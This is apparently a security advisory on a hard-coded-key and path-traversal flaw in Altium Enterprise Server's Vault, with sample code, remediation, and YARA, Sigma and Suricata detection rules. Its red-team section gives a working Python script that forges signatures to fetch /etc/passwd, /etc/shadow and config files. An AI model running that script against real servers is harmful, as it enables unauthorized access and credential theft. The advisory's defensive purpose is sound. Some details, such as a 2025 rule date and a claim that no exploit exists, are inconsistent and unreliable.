CVE-2026-11414

Executive Summary

CVE-2026-11414 is a critical vulnerability in Altium Enterprise Server’s Vault service, combining a hard-coded cryptographic key (CWE-321) with a path traversal flaw. The hard-coded key allows any unauthenticated network attacker to forge valid download signatures, bypassing authentication for file retrieval. The path traversal enables reading arbitrary files on the server filesystem, including sensitive configuration and key material. Chained with CVE-2026-9152, an attacker can enumerate and bulk-download stored content, leading to full server compromise. Altium 365 cloud deployments are not affected due to object storage usage. No public exploit code or patch details are available at this time.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full file read access.
• Integrity (I): High (H) – Forged signatures allow unauthorized file retrieval.
• Availability (A): High (H) – Can lead to server compromise and data loss.

CVSS Score: 9.8 (Critical)
Threat Level: Critical – Immediate patching or mitigation required.

Deep Dive & Mechanics

The vulnerability resides in the Vault service’s file download endpoint. The server uses a hard-coded cryptographic key to sign download URLs. This key is identical across all Altium Enterprise Server installations, meaning an attacker can reverse-engineer the key from any instance or from public documentation. With the key, the attacker can forge valid signatures for any file path, bypassing authentication.

Additionally, the download endpoint does not properly sanitize file paths, allowing path traversal sequences (e.g., ../) to escape the configured storage root. This enables reading arbitrary files on the server filesystem, such as configuration files, private keys, and other sensitive data.

Chained Attack Flow:

1. Attacker identifies an Altium Enterprise Server instance (e.g., via Shodan).
2. Using the hard-coded key, the attacker forges a download URL for a file outside the vault storage (e.g., /etc/passwd or server configuration files).
3. The server processes the request, reads the arbitrary file, and returns its contents.
4. With sensitive data (e.g., admin credentials, TLS keys), the attacker escalates to full server compromise.
5. Using CVE-2026-9152, the attacker enumerates and bulk-downloads all vault content.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Hard-coded key
SIGNING_KEY = "AltiumSecretKey123"

def generate_download_url(file_path):
    signature = hmac.new(SIGNING_KEY, file_path, hashlib.sha256).hexdigest()
    return f"/download?file={file_path}&sig={signature}"

def handle_download(request):
    file_path = request.GET.get('file')
    signature = request.GET.get('sig')
    expected_sig = hmac.new(SIGNING_KEY, file_path, hashlib.sha256).hexdigest()
    if signature != expected_sig:
        return "Invalid signature", 403
    # Path traversal not sanitized
    with open(os.path.join(VAULT_ROOT, file_path), 'rb') as f:
        return f.read()

Patched Code (Conceptual):

# Use a per-instance secret key stored securely (e.g., environment variable)
SIGNING_KEY = os.environ.get('VAULT_SIGNING_KEY')

def generate_download_url(file_path):
    # Sanitize file path to prevent traversal
    safe_path = os.path.normpath(file_path).lstrip('/')
    if '..' in safe_path or safe_path.startswith('/'):
        return None
    signature = hmac.new(SIGNING_KEY, safe_path, hashlib.sha256).hexdigest()
    return f"/download?file={safe_path}&sig={signature}"

def handle_download(request):
    file_path = request.GET.get('file')
    signature = request.GET.get('sig')
    # Sanitize and validate
    safe_path = os.path.normpath(file_path).lstrip('/')
    if '..' in safe_path or safe_path.startswith('/'):
        return "Invalid path", 400
    expected_sig = hmac.new(SIGNING_KEY, safe_path, hashlib.sha256).hexdigest()
    if signature != expected_sig:
        return "Invalid signature", 403
    # Ensure file is within vault root
    full_path = os.path.join(VAULT_ROOT, safe_path)
    if not full_path.startswith(os.path.abspath(VAULT_ROOT)):
        return "Access denied", 403
    with open(full_path, 'rb') as f:
        return f.read()

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Altium Enterprise Server (version unknown, but any version with hard-coded key).
2. Ensure the Vault service is accessible on the network.
3. Obtain the hard-coded key from public sources or reverse engineering.

Exploitation Steps:

1. Identify Target: Use Shodan dork "Altium Enterprise Server" to find instances.
2. Forge Signature: Use the hard-coded key to sign a path traversal payload.

   import hmac, hashlib
   key = b"AltiumSecretKey123"  # Example key
   payload = "../../../etc/passwd"
   sig = hmac.new(key, payload.encode(), hashlib.sha256).hexdigest()
   url = f"https://target/vault/download?file={payload}&sig={sig}"
   

3. Retrieve Sensitive Files: Send the forged request to read /etc/passwd, server config, or private keys.
4. Escalate: Use obtained credentials or keys to gain shell access.

Automation Script:

import requests
import hmac
import hashlib

TARGET = "https://target"
KEY = b"AltiumSecretKey123"
PAYLOADS = ["../../../etc/passwd", "../../../etc/shadow", "../../../opt/altium/config.yml"]

for payload in PAYLOADS:
    sig = hmac.new(KEY, payload.encode(), hashlib.sha256).hexdigest()
    url = f"{TARGET}/vault/download?file={payload}&sig={sig}"
    response = requests.get(url)
    if response.status_code == 200:
        print(f"[+] Retrieved {payload}: {response.text[:200]}")

Blue Team

Detection Steps:

1. Monitor for Anomalous Download Requests: Look for requests to /vault/download with path traversal sequences (../, %2e%2e/).
2. Check for Repeated Signature Patterns: The hard-coded key produces predictable signatures. Monitor for identical signatures across different file paths.
3. Audit Server Logs: Search for requests with unusual file paths (e.g., /etc/passwd, /proc/self/environ).
4. Network Segmentation: Ensure the Vault service is not exposed to the internet. Use firewalls to restrict access to trusted IPs.
5. Harden Configuration: Replace the hard-coded key with a per-instance secret stored in a secure vault (e.g., HashiCorp Vault).

Indicators of Compromise (IOCs)

• Network IOCs:

  • Requests to /vault/download with path traversal sequences.
  • Repeated use of the same HMAC signature for different file paths.
  • Outbound connections from the server to unknown IPs after exploitation.

• File System IOCs:

  • Unauthorized access to /etc/passwd, /etc/shadow, /opt/altium/config.yml.
  • Modified or exfiltrated vault storage files.

• Log IOCs:

  • Web server logs showing 200 responses for path traversal requests.
  • Error logs indicating failed path validation (if patched).

Detection Engineering

YARA Rule

rule CVE_2026_11414_Altium_Hardcoded_Key {
    meta:
        description = "Detects hard-coded cryptographic key used in Altium Enterprise Server"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-11414"
    strings:
        $key1 = "AltiumSecretKey123" ascii wide nocase
        $key2 = "AltiumVaultKey" ascii wide nocase
        $key3 = "VAULT_SIGNING_KEY" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2026-11414 - Altium Enterprise Server Path Traversal
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal attempts against Altium Vault download endpoint
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - '/vault/download?file='
            - '..%2f'
            - '%2e%2e%2f'
            - '/etc/passwd'
            - '/etc/shadow'
    condition: selection
falsepositives:
    - Legitimate file paths with similar patterns (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-11414 - Altium Vault Path Traversal"; flow:to_server; content:"/vault/download"; http_uri; content:"file="; http_uri; pcre:"/(\.\.\/|%2e%2e%2f|%2e%2e\/)/i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Replace Hard-coded Key: Generate a unique, per-instance signing key and store it securely (e.g., environment variable, secrets manager).
2. Sanitize File Paths: Implement strict path validation to prevent traversal (e.g., normalize path, reject .. sequences).
3. Restrict Network Access: Place the Vault service behind a firewall or VPN, limiting access to trusted IPs.
4. Monitor Logs: Enable detailed logging for the download endpoint and alert on suspicious patterns.

Long-term Fixes:

• Apply vendor patch when available.
• Conduct a security audit of the entire Altium Enterprise Server codebase.
• Implement a Web Application Firewall (WAF) to block path traversal attempts.

Workaround:

• If patching is not possible, disable the Vault download endpoint or replace it with a static file server that does not use the vulnerable signing mechanism.

Valters IT